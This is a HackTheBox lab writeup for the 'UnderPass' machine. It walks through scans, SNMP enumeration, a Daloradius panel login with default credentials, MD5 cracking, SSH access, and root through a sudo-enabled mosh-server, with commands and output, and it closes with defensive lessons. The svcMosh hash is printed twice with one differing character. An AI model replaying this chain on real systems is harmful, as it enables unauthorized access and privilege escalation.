UnderPass - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

UnderPass is an Easy Linux machine that initially presents only a default Apache homepage on the HTTP service. The key to progression lies in UDP port enumeration, where SNMP reveals critical information including the hostname and hint about Daloradius. After accessing the Daloradius management panel using default credentials, attackers extract and crack an MD5 password hash for the svcMosh user. SSH access is gained with these credentials, and privilege escalation is achieved through a sudo-enabled mosh-server binary that spawns a root-level shell when connected via mosh-client.

TL;DR: UDP SNMP enumeration → Daloradius default credentials → Password hash cracking → SSH access → Mosh sudo exploitation → Root shell

Reconnaissance

Port Scanning

# Initial TCP scan to identify all open ports
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.213 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service enumeration on discovered ports
nmap -p$ports -sC -sV 10.129.231.213

Results:

PORT     STATE SERVICE           VERSION
22/tcp   open  ssh               OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http              Apache httpd 2.4.52 ((Ubuntu))

Initial enumeration reveals two standard services: SSH on port 22 and a web server on port 80. The HTTP service is serving the default Apache Ubuntu page with no obvious entry points.

Service Enumeration

Given the minimal attack surface from TCP services, UDP port enumeration becomes critical.

# Scan UDP ports on the machine
nmap -sU 10.129.231.213 --top-ports=100

Results:

PORT        STATE           SERVICE
68/udp      open|filtered   dhcpc
139/udp     open|filtered   netbios-ssn
161/udp     open            snmp
1812/udp    open|filtered   radius
1813/udp    open|filtered   radacct
49181/udp   open|filtered   unknown

The presence of SNMP on UDP port 161 and RADIUS services (ports 1812/1813) indicates the machine may be running a RADIUS management interface.

SNMP Enumeration

# Enumerate SNMP using snmp-check utility
snmp-check 10.129.231.213

Results:

The SNMP output reveals:

• Hostname: UnDerPass.htb (indicates Daloradius installation)
• Contact: steve@underpass.htb
• Description: Linux underpass 5.15.0-126-generic
• Location: Nevada, U.S.A.

This confirms the presence of a Daloradius instance and provides a valid hostname.

Vulnerability Assessment

1. Default SNMP Community String: The machine responds to SNMP queries with the default ‘public’ community string, exposing sensitive information.
2. Default Daloradius Credentials: Standard administrator/radius credentials are not changed from installation defaults.
3. Weak Password Hash: The extracted user password is hashed with MD5, a cryptographically weak algorithm vulnerable to offline cracking.
4. Overprivileged Mosh-Server: The mosh-server binary is executable as root without password prompt, enabling privilege escalation.

Initial Foothold

Host File Configuration

Based on SNMP enumeration results, update the local hosts file:

echo "10.129.231.213 underpass.htb" | sudo tee -a /etc/hosts

Daloradius Discovery

With the hostname confirmed, attempt to access known Daloradius paths:

# Test basic daloradius directory access
curl http://underpass.htb/daloradius/

# Result: 403 Forbidden - directory exists but requires permissions

Operators Panel Access

Research on Daloradius documentation reveals an operators login endpoint:

# Navigate to the operators login page
curl http://underpass.htb/daloradius/app/operators

This endpoint returns the login page successfully. Default Daloradius credentials are well-documented in public resources:

• Username: administrator
• Password: radius

Using these credentials, successful authentication is achieved within the Daloradius operators panel.

Credential Extraction

Once logged into the Daloradius management interface, navigate to Management → List Users to discover stored user credentials. The interface displays a password hash for the user svcMosh:

Hash: 6d7534383262626665636535313061616639643935373237666162643961336665

Hash Cracking

Identify and crack the password hash:

# Create a file containing the extracted hash
echo "6d7534383262626665636335313061616639643935373237666162643961336665" > hash

# Attempt hash cracking with John the Ripper using Raw-MD5 format
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash

Result: underwaterfriends

SSH Access

With credentials obtained, establish SSH connection as the svcMosh user:

ssh svcMosh@underpass.htb
# Password: underwaterfriends

Verify successful access:

svcMosh@underpass:~$ id
uid=1002(svcMosh) gid=1002(svcMosh) groups=1002(svcMosh)

svcMosh@underpass:~$ cat user.txt
<redacted>

Privilege Escalation

Sudo Enumeration

Check sudo privileges for the svcMosh user:

sudo -l

Output:

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
    use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

The user can execute /usr/bin/mosh-server as root without a password prompt. This binary is the server component of Mosh (Mobile Shell), a terminal application designed for unreliable connections.

Mosh-Server Exploitation

Execute the mosh-server binary with sudo:

svcMosh@underpass:~$ sudo /usr/bin/mosh-server

Output:

MOSH CONNECT 60001 3kqPOehJINzb6a0SC9iO/A

[mosh-server detached, pid = 2675]

The server spawns on port 60001 and returns a connection key. According to Mosh documentation, clients can connect using the MOSH_KEY environment variable.

Mosh-Client Connection

Install mosh client on the attacking machine:

sudo apt update
sudo apt install mosh

Connect to the remote mosh-server using the extracted key:

MOSH_KEY=3kqPOehJINzb6a0SC9iO/A mosh-client 10.129.231.213 60001

Result: A root-privileged shell is obtained:

root@underpass:~# whoami
root

root@underpass:~# cat root.txt
<redacted>

Attack Chain Summary

Default Apache Page (TCP 80)
        ↓
UDP Port Enumeration
        ↓
SNMP Enumeration (UDP 161)
        ↓
Hostname Discovery + Daloradius Hint
        ↓
Default Daloradius Credentials (administrator/radius)
        ↓
User Password Hash Extraction
        ↓
MD5 Hash Cracking (underwaterfriends)
        ↓
SSH Access (svcMosh@underpass.htb)
        ↓
Sudo Enumeration (mosh-server NOPASSWD)
        ↓
Mosh-Server Execution (root shell spawned)
        ↓
Mosh-Client Connection
        ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• UDP Port Enumeration: Discovering services on non-standard protocols when TCP enumeration yields minimal results.
• SNMP Reconnaissance: Extracting sensitive system information using SNMP community strings.
• Default Credential Exploitation: Identifying and leveraging unchanged default credentials in web applications.
• Password Hash Cracking: Offline cracking of weak cryptographic hashes using wordlist attacks.
• Sudo Privilege Escalation: Exploiting overprivileged binaries in sudo configuration.
• Mosh Protocol Exploitation: Understanding mobile shell authentication mechanisms and key-based connection methods.

Lessons Learned

1. Always enumerate UDP ports: TCP-only enumeration misses critical services like SNMP that may expose system information.

2. SNMP is a goldmine for reconnaissance: Default community strings provide hostname, contact information, and service hints without authentication.

3. Default credentials are widespread: Enterprise applications often ship with unchanged defaults in test/lab environments; always try documented defaults.

4. Weak hashing algorithms are easily crackable: MD5 hashes extracted from databases can be cracked rapidly with modern hardware and wordlists.

5. Mosh-server design consideration: The server component spawns with the privileges of the user executing it; running as root via sudo creates an elevation path.

6. NOPASSWD sudo entries are dangerous: Any binary executable without password prompt should be scrutinized for privilege escalation potential.

7. Layered approach to enumeration: When one attack vector is blocked, pivot to alternative protocols and services rather than giving up on a machine.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>